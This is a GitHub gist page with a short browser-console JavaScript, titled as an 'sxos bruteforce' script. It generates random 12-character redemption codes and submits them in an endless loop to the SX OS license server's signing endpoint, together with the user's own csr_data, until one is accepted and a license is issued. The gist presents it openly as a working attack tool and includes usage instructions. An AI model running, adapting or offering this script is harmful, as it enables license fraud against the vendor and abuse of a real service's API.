Skip to content

Instantly share code, notes, and snippets.

@y4my4my4m
Created June 24, 2018 16:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save y4my4my4m/6e391a88f635ffdd19414828b0462a4d to your computer and use it in GitHub Desktop.
Save y4my4my4m/6e391a88f635ffdd19414828b0462a4d to your computer and use it in GitHub Desktop.
sxos bruteforce shit script
function makeid() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for (var i = 0; i < 12; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
//put in your license-request.dat on the site and type in "csr_data" in the console before putting in this script.
csr_data = "0832dbc6b27975b7d52b66fecf428bfcc4892a9f0cd2b88182d81579491e27ef0000000000000000000000000000000000000000000000000000000000000000";
code = makeid();
var attempted = []; // ideally wed wanna store the attempted ones locally to some file, check if its been tried before.
function newsign(csr_data, code) {
if (code != null) {
o = { csr_data: csr_data, redeem_code: code };
} else {
o = { csr_data: csr_data };
}
$.postJSON("sx-api-server.php?u=sign", o, function(r) {
if ('responseJSON' in r) {
r = r.responseJSON;
}
if ('error' in r) {
if (r.error == "Invalid license code specified") {
$("#license-code-form").show();
} else {
showError(r.error);
}
console.log("Code was: " + code);
// attempted.push(code);
newsign(csr_data, makeid());
} else {
get_license(csr_data, code);
}
});
}
newsign(csr_data, code);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment